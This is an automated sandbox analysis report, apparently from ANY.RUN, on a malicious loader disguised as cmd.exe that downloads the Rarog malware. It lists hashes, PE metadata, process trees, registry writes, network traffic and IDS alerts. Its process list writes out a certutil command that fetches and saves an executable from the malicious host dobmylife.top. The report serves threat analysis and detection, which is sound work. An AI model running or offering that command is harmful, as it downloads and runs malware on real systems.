| File name: | cmd.exe |
| Full analysis: | https://app.any.run/tasks/900c5daf-28ad-4527-9921-20429cc1cdca |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 07, 2018, 07:58:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32+ executable (console) x86-64, for MS Windows |
| MD5: | E08FE2DE3DDD22123247D49A11B4F53D |
| SHA1: | 3585B37200EF3321262B0977401183694A3C15C6 |
| SHA256: | EC436AEEE41857EEE5875EFDB7166FE043349DB5F58F3EE9FC4FF7F50005767F |
| SSDEEP: | 6144:EPWeSORYdgUOyx4Ry5RFbkIAqdLVkTbqx6m:EwOwgqxZ5kIHdxO26 |
MALICIOUS
Application was dropped or rewritten from another process
- Rarog.exe (PID: 3156)
- VU0WBJ8MJA.exe (PID: 3576)
- update.exe (PID: 2416)
Uses SVCHOST.EXE for hidden code execution
- VU0WBJ8MJA.exe (PID: 3576)
- update.exe (PID: 2416)
Loads the Task Scheduler COM API
- mmc.exe (PID: 3772)
- schtasks.exe (PID: 3948)
- software_reporter_tool.exe (PID: 2620)
Uses Task Scheduler to run other applications
- Rarog.exe (PID: 3156)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WScript.exe (PID: 1076)
- Rarog.exe (PID: 3156)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 3668)
Application launched itself
- software_reporter_tool.exe (PID: 2620)
Creates files in the program directory
- Rarog.exe (PID: 3156)
- certutil.exe (PID: 2512)
Starts itself from another location
- Rarog.exe (PID: 3156)
Starts CertUtil for downloading files
- cmd.exe (PID: 3164)
INFO
Dropped object may contain URL's
- certutil.exe (PID: 2708)
- Rarog.exe (PID: 3156)
- certutil.exe (PID: 2512)
- chrome.exe (PID: 2596)
Loads the .NET runtime environment
- mmc.exe (PID: 3772)
Application was crashed
- svchost.exe (PID: 3860)
Application launched itself
- chrome.exe (PID: 2596)
Loads rich edit control libraries
- mmc.exe (PID: 3772)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2051:03:01 02:43:09+01:00 |
| PEType: | PE32+ |
| LinkerVersion: | 14.1 |
| CodeSize: | 183808 |
| InitializedDataSize: | 201216 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x16b00 |
| OSVersion: | 10 |
| ImageVersion: | 10 |
| SubsystemVersion: | 10 |
| Subsystem: | Windows command line |
| FileVersionNumber: | 10.0.16299.15 |
| ProductVersionNumber: | 10.0.16299.15 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Windows Command Processor |
| FileVersion: | 10.0.16299.15 (WinBuild.160101.0800) |
| InternalName: | cmd |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | Cmd.Exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.16299.15 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_AMD64 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
| Compilation Date: | 23-Jan-1915 19:14:53 |
| Detected languages: |
|
| Debug artifacts: |
|
| CompanyName: | Microsoft Corporation |
| FileDescription: | Windows Command Processor |
| FileVersion: | 10.0.16299.15 (WinBuild.160101.0800) |
| InternalName: | cmd |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFilename: | Cmd.Exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.16299.15 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_AMD64 |
| Number of sections: | 7 |
| Time date stamp: | 23-Jan-1915 19:14:53 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00F0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0002CD28 | 0x0002CE00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.39057 |
.rdata | 0x0002E000 | 0x0000A390 | 0x0000A400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.89196 |
.data | 0x00039000 | 0x0001BBC8 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.24886 |
.pdata | 0x00055000 | 0x000024A8 | 0x00002600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.44029 |
.didat | 0x00058000 | 0x00000080 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.968329 |
.rsrc | 0x00059000 | 0x000084F8 | 0x00008600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.35859 |
.reloc | 0x00062000 | 0x000002C8 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 4.3617 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.99761 | 1064 | UNKNOWN | English - United States | RT_MANIFEST |
2 | 2.43797 | 744 | UNKNOWN | English - United States | RT_ICON |
3 | 2.17121 | 296 | UNKNOWN | English - United States | RT_ICON |
4 | 2.05763 | 3752 | UNKNOWN | English - United States | RT_ICON |
5 | 2.07173 | 2216 | UNKNOWN | English - United States | RT_ICON |
6 | 0.707064 | 1384 | UNKNOWN | English - United States | RT_ICON |
7 | 7.85052 | 5790 | UNKNOWN | English - United States | RT_ICON |
8 | 2.88487 | 9640 | UNKNOWN | English - United States | RT_ICON |
9 | 2.96884 | 4264 | UNKNOWN | English - United States | RT_ICON |
10 | 2.16714 | 1128 | UNKNOWN | English - United States | RT_ICON |
Imports
api-ms-win-core-apiquery-l1-1-0.dll |
api-ms-win-core-console-l1-1-0.dll |
api-ms-win-core-console-l2-1-0.dll |
api-ms-win-core-datetime-l1-1-0.dll |
api-ms-win-core-debug-l1-1-0.dll |
api-ms-win-core-delayload-l1-1-0.dll |
api-ms-win-core-delayload-l1-1-1.dll |
api-ms-win-core-errorhandling-l1-1-0.dll |
api-ms-win-core-file-l1-1-0.dll |
api-ms-win-core-file-l2-1-0.dll |
Total processes
73
Monitored processes
28
Malicious processes
4
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1076 | C:\Windows\System32\WScript.exe "C:\ProgramData\{N5CQFM20-FB2P-WZ28-GOUVQGYPI9V1}\GOUVQGYP.vbs" | C:\Windows\System32\WScript.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 1508 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=1576,14831248729651051994,2064876661002348135,131072 --lang=en-US --no-sandbox --service-request-channel-token=4961CC834E14A86BA854B43CDEDC8AC9 --mojo-platform-channel-handle=788 /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 61.0.3163.100 Modules
| |||||||||||||||
| 1736 | "c:\users\admin\appdata\local\google\chrome\user data\swreporter\23.129.0\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=23.129.0 --initial-client-data=0xe4,0xec,0xf0,0xe8,0xf4,0x11dc42c,0x11dc43c,0x11dc44c | c:\users\admin\appdata\local\google\chrome\user data\swreporter\23.129.0\software_reporter_tool.exe | — | software_reporter_tool.exe | |||||||||||
User: admin Company: Google Integrity Level: MEDIUM Description: Software Reporter Tool Exit code: 0 Version: 23.129.0 Modules
| |||||||||||||||
| 2132 | taskkill /im Rarog.exe /f | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2368 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,14831248729651051994,2064876661002348135,131072 --service-pipe-token=B4C164DAEC296A7F5CA34E1872D0CA62 --lang=en-US --disable-client-side-phishing-detection --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553 --disable-accelerated-video-decode --disable-gpu-compositing --enable-gpu-async-worker-context --service-request-channel-token=B4C164DAEC296A7F5CA34E1872D0CA62 --renderer-client-id=6 --mojo-platform-channel-handle=1644 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 61.0.3163.100 Modules
| |||||||||||||||
| 2416 | C:\ProgramData\update.exe | C:\ProgramData\update.exe | — | cmd.exe | |||||||||||
User: admin Company: Oracle Corporation Integrity Level: MEDIUM Description: Java(TM) Web Start Launcher Exit code: 0 Version: 11.161.2.12 Modules
| |||||||||||||||
| 2512 | certutil -urlcache -split -f http://dobmylife.top/gate/update.php C:\ProgramData\update.exe | C:\Windows\system32\certutil.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2596 | "C:\Program Files\Google\Chrome\Application\chrome.exe" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | ||||||||||||
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 61.0.3163.100 Modules
| |||||||||||||||
| 2620 | "C:\Users\admin\AppData\Local\Google\Chrome\User Data\SwReporter\23.129.0\software_reporter_tool.exe" --session-id=ZeFL06VlqtKDy87gfHftzJO78KGTCRv8/nxY0gJh | C:\Users\admin\AppData\Local\Google\Chrome\User Data\SwReporter\23.129.0\software_reporter_tool.exe | — | chrome.exe | |||||||||||
User: admin Company: Google Integrity Level: MEDIUM Description: Software Reporter Tool Exit code: 2 Version: 23.129.0 Modules
| |||||||||||||||
| 2708 | "C:\Windows\System32\certutil.exe" -urlcache -split -f http://dobmylife.top/gate/update.php C:\ProgramData\update.exe | C:\Windows\System32\certutil.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147954402 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 636
Read events
1 283
Write events
341
Delete events
12
Modification events
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2708) certutil.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\certutil_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
9
Suspicious files
50
Text files
75
Unknown types
10
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000038.dbtmp | — | |
MD5:— | SHA256:— | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\8c94fe8c-66e9-4071-8071-e71913114fc9.tmp | — | |
MD5:— | SHA256:— | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.google.ru_0.indexeddb.leveldb\000001.dbtmp | — | |
MD5:— | SHA256:— | |||
| 2708 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\695253D42FB4C020C24A4EA30CE297BC | binary | |
MD5:— | SHA256:— | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat | binary | |
MD5:— | SHA256:— | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Last Version | text | |
MD5:— | SHA256:— | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old | text | |
MD5:— | SHA256:— | |||
| 2708 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\695253D42FB4C020C24A4EA30CE297BC | executable | |
MD5:— | SHA256:— | |||
| 3492 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma | binary | |
MD5:AEA7FFDBA870EA9D59D542F890FECC8C | SHA256:5A3EC8851ACD1BB62D270E9BDCA9625DA9F34DF69EF39608BC2CE3DE68960056 | |||
| 2596 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT | text | |
MD5:8F453619F44ECBA059C2F709764DAEF7 | SHA256:96BDEF013FB79E7D36F54609242BE99A151EE07D1506FF9E20F6EE3F8A5176C6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
21
DNS requests
15
Threats
22
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 302 | 92.63.197.86:80 | http://dobmylife.top/gate/update.php | RU | — | — | malicious |
— | — | GET | 302 | 92.63.197.86:80 | http://dobmylife.top/gate/update.php | RU | — | — | malicious |
— | — | GET | 302 | 92.63.197.86:80 | http://dobmylife.top/gate/update.php | RU | — | — | malicious |
— | — | GET | — | 92.63.197.86:80 | http://dobmylife.top/build/Rarog.exe | RU | — | — | malicious |
— | — | GET | 302 | 92.63.197.86:80 | http://dobmylife.top/gate/update.php | RU | — | — | malicious |
— | — | GET | 302 | 92.63.197.86:80 | http://dobmylife.top/gate/update.php | RU | — | — | malicious |
— | — | GET | 200 | 92.63.197.86:80 | http://dobmylife.top/build/Rarog.exe | RU | executable | 220 Kb | malicious |
— | — | GET | 200 | 92.63.197.86:80 | http://dobmylife.top/build/Rarog.exe | RU | executable | 220 Kb | malicious |
— | — | GET | 200 | 92.63.197.86:80 | http://dobmylife.top/build/Rarog.exe | RU | executable | 220 Kb | malicious |
— | — | GET | 200 | 92.63.197.86:80 | http://dobmylife.top/build/Rarog.exe | RU | executable | 220 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 92.63.197.86:80 | dobmylife.top | — | RU | malicious |
— | — | 172.217.22.99:443 | www.google.ru | Google Inc. | US | whitelisted |
— | — | 216.58.208.35:443 | ssl.gstatic.com | Google Inc. | US | whitelisted |
— | — | 172.217.23.131:443 | www.gstatic.com | Google Inc. | US | whitelisted |
— | — | 216.58.214.67:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
— | — | 172.217.22.46:443 | apis.google.com | Google Inc. | US | whitelisted |
— | — | 172.217.22.100:443 | www.google.com | Google Inc. | US | whitelisted |
— | — | 216.58.214.78:80 | clients1.google.com | Google Inc. | US | whitelisted |
— | — | 172.217.22.67:80 | google.de | Google Inc. | US | whitelisted |
— | — | 216.58.214.78:443 | clients1.google.com | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dobmylife.top |
| malicious |
clientservices.googleapis.com |
| whitelisted |
www.google.ru |
| whitelisted |
ssl.gstatic.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
apis.google.com |
| whitelisted |
www.google.com |
| malicious |
clients1.google.com |
| whitelisted |
google.de |
| whitelisted |
www.google.de |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
— | — | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
— | — | A Network Trojan was detected | ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016 |
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Misc activity | ET INFO Possible EXE Download From Suspicious TLD |
— | — | A Network Trojan was detected | ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016 |
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Misc activity | ET INFO Possible EXE Download From Suspicious TLD |
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
— | — | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
Process | Message |
|---|---|
mmc.exe | Constructor: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
|
mmc.exe | OnInitialize: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
|
mmc.exe | AddIcons: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
|
mmc.exe | ProcessCommandLineArguments: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
|